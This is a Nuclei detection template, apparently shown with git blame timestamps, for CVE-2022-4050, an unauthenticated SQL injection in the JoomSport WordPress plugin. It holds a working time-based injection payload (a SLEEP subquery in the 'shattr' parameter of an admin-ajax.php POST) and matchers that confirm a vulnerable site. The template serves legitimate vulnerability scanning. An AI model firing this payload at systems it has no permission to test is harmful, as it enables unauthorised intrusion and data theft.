nuclei-templates/cves/2022/CVE-2022-4050.yaml

40 lines
1.3 KiB
YAML
Raw Normal View History

2022-12-13 14:22:56 +00:00
id: CVE-2022-4050
info:
name: JoomSport < 5.2.8 - Unauthenticated SQLi
author: theamanrawat
severity: critical
description: |
The plugin does not properly sanitise and escape a parameter before using it in a SQL statement, leading to a SQL injection exploitable by unauthenticated users.
reference:
- https://wpscan.com/vulnerability/5c96bb40-4c2d-4e91-8339-e0ddce25912f
- https://wordpress.org/plugins/joomsport-sports-league-results-management/
- https://nvd.nist.gov/vuln/detail/CVE-2022-4050
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
2022-12-13 14:22:56 +00:00
cve-id: CVE-2022-4050
cwe-id: CWE-89
2022-12-13 14:22:56 +00:00
metadata:
verified: "true"
tags: wpscan,cve,cve2022,wp-plugin,wp,joomsport-sports-league-results-management,wordpress,sqli,unauth
2022-12-13 14:22:56 +00:00
requests:
- raw:
- |
2022-12-16 02:08:03 +00:00
@timeout: 15s
2022-12-13 14:22:56 +00:00
POST /wp-admin/admin-ajax.php?action=joomsport_md_load HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
2022-12-16 02:08:03 +00:00
mdId=1&shattr={"id":"1+AND+(SELECT+1+FROM(SELECT+SLEEP(4))aaaa);--+-"}
2022-12-13 14:22:56 +00:00
matchers:
- type: dsl
dsl:
2022-12-16 02:08:03 +00:00
- 'duration>=5'
2022-12-13 14:22:56 +00:00
- 'status_code == 200'
- 'contains(content_type, "text/html")'
- 'contains(body, "jscaruselcont jsview2")'
2022-12-14 05:13:47 +00:00
condition: and